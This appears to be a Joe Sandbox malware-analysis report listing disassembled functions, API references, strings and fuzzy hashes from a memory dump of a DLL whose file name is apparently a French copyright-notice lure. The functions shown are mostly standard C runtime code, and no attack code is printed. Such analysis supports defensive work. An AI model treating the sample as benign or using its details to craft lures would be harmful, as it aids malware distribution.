Instruction ID: 876a7dad113b7727da72b8e05570cdfb3f967dcf6bf61f58d4032b91c6656a13
Opcode Fuzzy Hash: b71969def080a16910ca689d539ac928102f3c1a3db3dc134a1ff6067b4cfe8a
Instruction Fuzzy Hash: 515163B1910609EFDF09DFD4C855EEE7BBDAF09704F00C55AE505A7180EB749648CBA4

Function 6E6434A4 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,?,?,?,?,?,?,?,6E64342E,?,?,?,?,?,?), ref: 6E6434C9
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,6E64342E,?,?,?,?,?,?,?), ref: 6E6435D4

Strings

.4dn, xrefs: 6E64352E, 6E64353D, 6E643531
RCC, xrefs: 6E6434E3
MOC, xrefs: 6E6434DB
.4dn, xrefs: 6E643595, 6E6434EB

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: EncodePointerabort
String ID: .4dn$.4dn$MOC$RCC
API String ID: 1188231555-2199192614
Opcode ID: f1603a42db167f8a4bcf43349b7be9e99072844a0411b814bedbed09638ac024
Instruction ID: 55961169192611d2198696ba286a13f3a2e7e06c1da6972f1d7ae4f68e200c30
Opcode Fuzzy Hash: f1603a42db167f8a4bcf43349b7be9e99072844a0411b814bedbed09638ac024
Instruction Fuzzy Hash: 59415871940209EFDF09CFD4C884AEEBBB6BF4A314F148059F915A7221D335DA51DB51

Function 6E643D00 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__TypeMatch.VCRUNTIME140(19930520,?,00000000), ref: 6E643DAF

Strings

RCC, xrefs: 6E643D32
csm, xrefs: 6E643DED
csm, xrefs: 6E643D47
MOC, xrefs: 6E643D26

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: MatchType
String ID: MOC$RCC$csm$csm
API String ID: 3879256720-1441736206
Opcode ID: 89a5cb353a7e3f2209e377149814bcd141d7cbe5dfb72b680259369b4db4e575
Instruction ID: 55df9aeb902ad366ed69362a413452d2b39aaa1657069f9c3f5305b2a4914285
Opcode Fuzzy Hash: 89a5cb353a7e3f2209e377149814bcd141d7cbe5dfb72b680259369b4db4e575
Instruction Fuzzy Hash: 3D31AE35891B06CFDB70AFD4C908B9AB3F8EF12305F15892EC86257155C374E686CBA2

Function 6E642EB5 Relevance: 9.1, APIs: 6, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

__telemetry_main_return_trigger.VCRUNTIME140(6E64FB88,00000010,?,6E642DC3,6E651088,?), ref: 6E642F14
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6E64FB88,00000010,?,6E642DC3,6E651088,?), ref: 6E642F21
memmove.VCRUNTIME140(?,00000000,?,6E64FB88,00000010,?,6E642DC3,6E651088,?), ref: 6E642F59
___AdjustPointer.LIBCMT(?,?,?,6E642DC3,6E651088,?), ref: 6E642F72
___AdjustPointer.LIBCMT(?,?,?,6E64FB88,00000010,?,6E642DC3,6E651088,?), ref: 6E642F95
memmove.VCRUNTIME140(?,00000000,?,6E64FB88,00000010,?,6E642DC3,6E651088,?), ref: 6E642F9E

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: AdjustPointermemmove$__telemetry_main_return_triggerabort
String ID:
API String ID: 4025328792-0
Opcode ID: c8ae6a89b06f3bd1fb337f3894fbb3a566290ae9aa73c14a0ce01844dc596b44
Instruction ID: 6186c04a4aa5bdf7b4396bdceebcc80b044da45fc4502d40433a3fcf192c0482
Opcode Fuzzy Hash: c8ae6a89b06f3bd1fb337f3894fbb3a566290ae9aa73c14a0ce01844dc596b44
Instruction Fuzzy Hash: 1F41D272681647DFDB858FD5C460BAA77A0AF07704F70942DDC16D7291E732D880C764

Function 6E649C63 Relevance: 9.1, APIs: 6, Instructions: 94COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6E64B175: Replicator::operator[].LIBCMT ref: 6E64B1B2

DName::operator=.LIBVCRUNTIME ref: 6E649D0F

Part of subcall function 6E6498A5: DName::operator+.LIBCMT ref: 6E649910
Part of subcall function 6E6498A5: DName::operator+.LIBCMT ref: 6E649BDA

DName::operator+.LIBCMT ref: 6E649CC9
DName::operator+.LIBCMT ref: 6E649CD5
DName::DName.LIBVCRUNTIME ref: 6E649D19
DName::operator+.LIBCMT ref: 6E649D36
DName::operator+.LIBCMT ref: 6E649D42

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator=Replicator::operator[]
String ID:
API String ID: 955152517-0
Opcode ID: d1c31d403882d54885f253303e5e06caa31ed32bf14c4766b99c275513e2e847
Instruction ID: 8bba692a6cdc56e63df113786509db6d4bd7c0c745814c98bbb03b0307597b0d
Opcode Fuzzy Hash: d1c31d403882d54885f253303e5e06caa31ed32bf14c4766b99c275513e2e847
Instruction Fuzzy Hash: A0318CB1A44605DFCB08DFE9C551AEABBF9AF8A308F10C85DE58697390E730A544CB14

Function 6E6447D0 Relevance: 9.1, APIs: 6, Instructions: 83stringCOMMON

Download Yara Rule

APIs

___unDName.LIBVCRUNTIME(00000000,?,00000000,6E644710,6E644720,00002800), ref: 6E6447FD

Part of subcall function 6E64B600: ___unDNameEx.LIBVCRUNTIME(?,?, Gdn,6E644710,00000000,00000000,?,?,6E644802,00000000,?,00000000,6E644710,6E644720,00002800), ref: 6E64B619

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(-00000002), ref: 6E64483C
strcpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000004,?,00000000), ref: 6E644859
InterlockedPushEntrySList.KERNEL32(?,?), ref: 6E64487E
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6E644888
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6E644891

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: Name___unfree$EntryInterlockedListPushmallocstrcpy_s
String ID:
API String ID: 2809682464-0
Opcode ID: 3f5bb2f0927cfb53c31e0c9bdb0bf85fc99911c4fe1965167308a7cbe2fe4282
Instruction ID: 1371c61e55998ed5e0430c89dc96a657a123f72026010d2f6223230804ac066a
Opcode Fuzzy Hash: 3f5bb2f0927cfb53c31e0c9bdb0bf85fc99911c4fe1965167308a7cbe2fe4282
Instruction Fuzzy Hash: DA21C531604646EFDB05DFA5CC5599A7FB8EF47364B108169E805D7301E772DA06CBA0

Function 6E64BAD0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 275COMMON

Download Yara Rule

APIs

__FindPESection.LIBCMT ref: 6E64BC01
VirtualQuery.KERNEL32(?,1303C3DA,0000001C,1303C3DA,?,?,?), ref: 6E64BCE6
__FindPESection.LIBCMT ref: 6E64BD23
__FindPESection.LIBCMT ref: 6E64BD5D

Strings

tdn, xrefs: 6E64BB03, 6E64BD53, 6E64BBF4

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: FindSection$QueryVirtual
String ID: tdn
API String ID: 2992484814-2834919177
Opcode ID: 5a6102285224cb9cc921f2f23d67ee95df90433bdb1f99d840625f93b760353e
Instruction ID: 054b951483890313e77aed2b0803aaa13ff7873ecc42e078939392b4a2a28d39
Opcode Fuzzy Hash: 5a6102285224cb9cc921f2f23d67ee95df90433bdb1f99d840625f93b760353e
Instruction Fuzzy Hash: D0A1DF75E00A16DFDB00CFAAD890B9DB3B9EB4A710F108969D925E7358DB31EC45CB90

Function 6E64B880 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 147COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 6E64B8B5
__IsNonwritableInCurrentImage.LIBCMT ref: 6E64B96E
__telemetry_main_return_trigger.VCRUNTIME140(?,00000001), ref: 6E64B987
__DestructExceptionObject.VCRUNTIME140 ref: 6E64B98D

Strings

csm, xrefs: 6E64B958

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: CurrentDestructExceptionImageNonwritableObject___except_validate_context_record__telemetry_main_return_trigger
String ID: csm
API String ID: 1358989434-1018135373
Opcode ID: 32a56b53a75fbc08dceb70866ab6d6efee688ac7d539a293d92b8c310b1d9ec6
Instruction ID: 5aa58bff24906da43e9a9f107304ed0c31840edc818b459330a951c4e3d5a1ba
Opcode Fuzzy Hash: 32a56b53a75fbc08dceb70866ab6d6efee688ac7d539a293d92b8c310b1d9ec6
Instruction Fuzzy Hash: F6416D35A00209EFCB00CFA9D894AEEBBB9EF46328F10C555EC149B395D7329E15CB95

Function 6E6448A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

__telemetry_main_return_trigger.VCRUNTIME140(Bad dynamic_cast!,00000000,?,?,?,?,6E6445E2,?,6E64FCE8), ref: 6E6448D0
RaiseException.KERNEL32(E06D7363,00000001,00000003,Edn,?,?,?,?,6E6445E2,?,6E64FCE8), ref: 6E644900

Strings

Edn, xrefs: 6E6448ED, 6E6448F0
Bad dynamic_cast!, xrefs: 6E6448C5
Edn, xrefs: 6E6448AB

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: ExceptionRaise__telemetry_main_return_trigger
String ID: Bad dynamic_cast!$Edn$Edn
API String ID: 201792006-1169429911
Opcode ID: dfc870e2f450f73cc76db86188372e1031e0ad4142dfb5e2e085b1d9ed8a750b
Instruction ID: 77403774a25b1f5fe875572b429d3b29cfcfc782985f840e9f02318ff863a884
Opcode Fuzzy Hash: dfc870e2f450f73cc76db86188372e1031e0ad4142dfb5e2e085b1d9ed8a750b
Instruction Fuzzy Hash: 4001A276A00349EFCB01DF98D490B9EBBB8FF45724F11805AE915AB391D7B0E901CB90

Function 6E644CB1 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,6E644C62,?,?,00000000,?,?,?,6E644D8D,00000002,FlsGetValue,6E6413D4,FlsGetValue), ref: 6E644CBE
GetLastError.KERNEL32(?,6E644C62,?,?,00000000,?,?,?,6E644D8D,00000002,FlsGetValue,6E6413D4,FlsGetValue,?,?,6E644B19), ref: 6E644CC8
wcsncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,api-ms-,00000007,?,6E644C62,?,?,00000000,?,?,?,6E644D8D,00000002,FlsGetValue,6E6413D4,FlsGetValue), ref: 6E644CDD
LoadLibraryExW.KERNEL32(?,00000000,00000000), ref: 6E644CF1

Strings

api-ms-, xrefs: 6E644CD5

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: LibraryLoad$ErrorLastwcsncmp
String ID: api-ms-
API String ID: 3100911417-2084034818
Opcode ID: fa892a14fc15adb93e1975a18e57e80a1a5b4afb208f365eed06bcfcf745d845
Instruction ID: 6531029c0b7a99ab52041107e348c57088bfa8f7aad7088da57eaa7e76ddac31
Opcode Fuzzy Hash: fa892a14fc15adb93e1975a18e57e80a1a5b4afb208f365eed06bcfcf745d845
Instruction Fuzzy Hash: 04E0DF30381305FBEF101FA2CC0AF083F36AB02B84F148020FD0CE81D1EBA2A461DA88

Function 6E64AC32 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6E64B495: DName::operator+.LIBCMT ref: 6E64B4FA

__telemetry_main_return_trigger.VCRUNTIME140(00000000,?,00000000,00000000,6E644720,00002800), ref: 6E64ACDB
__telemetry_main_return_trigger.VCRUNTIME140(?,000027FF,00000000,?,00000000,00000000,6E644720,00002800), ref: 6E64AD0B

Strings

Gdn, xrefs: 6E64AC32

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: __telemetry_main_return_trigger$Name::operator+
String ID: Gdn
API String ID: 1553709760-1597507995
Opcode ID: 09175d51c1f0add602bfa005679a00f20f0fa5f601d36e220c3cd06430af0798
Instruction ID: 755fb1700c8929da8526843d8c6ee23a83db764dc01f2abcc3630b38ad99fb75
Opcode Fuzzy Hash: 09175d51c1f0add602bfa005679a00f20f0fa5f601d36e220c3cd06430af0798
Instruction Fuzzy Hash: 4641F135708A45EFDB42DFE8C450BAD7B769F87300F1484A9D4428B356EB309D0AC7A0

Function 6E64BDCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,1303C3DA,0000001C,1303C3DA,?,?,?), ref: 6E64BCE6
__FindPESection.LIBCMT ref: 6E64BD23
__FindPESection.LIBCMT ref: 6E64BD5D

Strings

tdn, xrefs: 6E64BD53

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: FindSection$QueryVirtual
String ID: tdn
API String ID: 2992484814-2834919177
Opcode ID: 2186e5b53b7c59ce77519689d7c11eacb633ec566ba261568322a8a8a435cddc
Instruction ID: 6078fe4cc79667169fd9a50fc760dcd8e4df101574287ca2e73b0497dd452baa
Opcode Fuzzy Hash: 2186e5b53b7c59ce77519689d7c11eacb633ec566ba261568322a8a8a435cddc
Instruction Fuzzy Hash: 09318B75A00616DBEF00CFAAD990A9D73A8EB4A354F408464DA24E7359D720EC458BA0

Function 6E643F00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

_FindAndUnlinkFrame.VCRUNTIME140(?), ref: 6E643F14
_IsExceptionObjectToBeDestroyed.VCRUNTIME140(?), ref: 6E643F7E
__DestructExceptionObject.VCRUNTIME140(?,00000001), ref: 6E643F92

Strings

csm, xrefs: 6E643F1C

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: ExceptionObject$DestroyedDestructFindFrameUnlink
String ID: csm
API String ID: 1567117672-1018135373
Opcode ID: 21f08ba0169086a516a91c7ffde4c0bd8367c221ead652a5b93cabb1e95b1547
Instruction ID: 04dff5d15a3a0aa83134fb7d2d13a22abb108cafcda0ffa481432166bb67a47c
Opcode Fuzzy Hash: 21f08ba0169086a516a91c7ffde4c0bd8367c221ead652a5b93cabb1e95b1547
Instruction Fuzzy Hash: 4C314F3A180721DF8344AFD4D085C4AB7B9BF023257938899E4255F5A6C770D982CB9B

Function 6E647883 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6E645203: pDNameNode::pDNameNode.LIBCMT ref: 6E645229

DName::DName.LIBVCRUNTIME ref: 6E647942
DName::operator+.LIBCMT ref: 6E647950

Strings

void, xrefs: 6E6478D3
void , xrefs: 6E6478EB

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: Name$Name::Name::operator+NodeNode::p
String ID: void$void
API String ID: 3257498322-3746155364
Opcode ID: 7f90e5c193c989e18e6055367554aab330c08e8286339c6040225ce8b3e525b6
Instruction ID: 4436881fba9ea38ed933ae53b0d14090e679c10b801a6b57265980d680b6fb92
Opcode Fuzzy Hash: 7f90e5c193c989e18e6055367554aab330c08e8286339c6040225ce8b3e525b6
Instruction Fuzzy Hash: 04214AB190020EEFDF05DFE0C855AEE7BB9EB06344F00C95AE911A7290EB706648CB94

Function 6E64B7D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

___except_validate_jump_buffer.LIBVCRUNTIME ref: 6E64B7D6
RtlUnwind.KERNEL32(?,6E64E372,80000026,00000000,?,?), ref: 6E64E36D
_local_unwind2.VCRUNTIME140(?,?,?), ref: 6E64E3B4

Strings

02CV, xrefs: 6E64E391

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: Unwind___except_validate_jump_buffer_local_unwind2
String ID: 02CV
API String ID: 3811726867-2950495812
Opcode ID: def9156935371665bded8c00e32a72bee32e266a48c045e2edd3e21d78978f19
Instruction ID: 1520f5565f805d9244607cee842d4ec5d7857a4928cf83815e2bd43e73be1719
Opcode Fuzzy Hash: def9156935371665bded8c00e32a72bee32e266a48c045e2edd3e21d78978f19
Instruction Fuzzy Hash: FB216A71900214DFDB12DF94C890B8ABBA8FB05314F108554EC149F286D775EC84CBE5

Function 6E6439A1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_FindAndUnlinkFrame.VCRUNTIME140(?,6E643987), ref: 6E6439AD
_IsExceptionObjectToBeDestroyed.VCRUNTIME140(?,6E643987), ref: 6E6439FF
__DestructExceptionObject.VCRUNTIME140(?,?,6E643987), ref: 6E643A14

Strings

csm, xrefs: 6E6439C9

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: ExceptionObject$DestroyedDestructFindFrameUnlink
String ID: csm
API String ID: 1567117672-1018135373
Opcode ID: 5164f4a61ec40da724820d36c6a79c2b0ca77726b939c5fffe7c88a1c1d6fb9a
Instruction ID: f4c14412fd2cedf83e62b011ecb506dd78de82b1f7bb89f95ee35d3453bf1226
Opcode Fuzzy Hash: 5164f4a61ec40da724820d36c6a79c2b0ca77726b939c5fffe7c88a1c1d6fb9a
Instruction Fuzzy Hash: F1018F34881701DFCF288FA0D41465DBBF9AF01311F54C92EE8512B650CB31D6C8CB56

Function 6E642D20 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 28COMMON

Download Yara Rule

APIs

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6E642D55

Strings

RCC, xrefs: 6E642D2A
MOC, xrefs: 6E642D32
csm, xrefs: 6E642D3A

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: terminate
String ID: MOC$RCC$csm
API String ID: 1821763600-2671469338
Opcode ID: 4185377fd35bac6237338f6a863fbd53ed76172564dc8f467e9fa5a18329c053
Instruction ID: c57b76813077b38506835ac2186bba9405ff493e67b6d0b26e7103c216e23765
Opcode Fuzzy Hash: 4185377fd35bac6237338f6a863fbd53ed76172564dc8f467e9fa5a18329c053
Instruction Fuzzy Hash: 3AF08239440615DFC7106FA0C04158DB7E8EF41315B228466C41497124C7B8E982CBC6

Function 6E64B7E2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

__IsNonwritableInCurrentImage.LIBCMT ref: 6E64B7FF

Part of subcall function 6E64F710: __FindPESection.LIBCMT ref: 6E64F769

__telemetry_main_return_trigger.VCRUNTIME140(?,6E64E0C5,?,?,6E64E0C5,?,00000001), ref: 6E64B815
__DestructExceptionObject.VCRUNTIME140(?,6E64E0C5,?,00000001), ref: 6E64B81B

Strings

csm, xrefs: 6E64B7E9

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: CurrentDestructExceptionFindImageNonwritableObjectSection__telemetry_main_return_trigger
String ID: csm
API String ID: 1907827047-1018135373
Opcode ID: c91eeed3684bab2805624a12051b4b291b1856f83ca3e76d68fb9d319feed1e4
Instruction ID: 192ec72aac7051ed6692ad59350d66476dc2723bbd5170734150a1ef517343e4
Opcode Fuzzy Hash: c91eeed3684bab2805624a12051b4b291b1856f83ca3e76d68fb9d319feed1e4
Instruction Fuzzy Hash: 04E0DF36115225DFCF002F81F80028D3FA8AB063B0F10C02AE910D3345CB306890CA99

Function 6E64795A Relevance: 6.2, APIs: 4, Instructions: 192COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6E647961
UnDecorator::getSymbolName.LIBCMT ref: 6E6479F3
DName::operator+.LIBCMT ref: 6E647AF7
DName::DName.LIBVCRUNTIME ref: 6E647B9A

Part of subcall function 6E6455D8: shared_ptr.LIBCMT ref: 6E6455F4

Part of subcall function 6E6457D7: DName::DName.LIBVCRUNTIME ref: 6E645825

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: Name$Name::$Decorator::getH_prolog3Name::operator+Symbolshared_ptr
String ID:
API String ID: 1134295639-0
Opcode ID: bfce5aa4a5c95bcfe762ac821df23267a12dc18d1cabd57d3f5c48b4e321a69b
Instruction ID: 5ef0b6232bb17e5f93a688fa4cb73cd655022a2f8f2c61fc866cf566275fdcc1
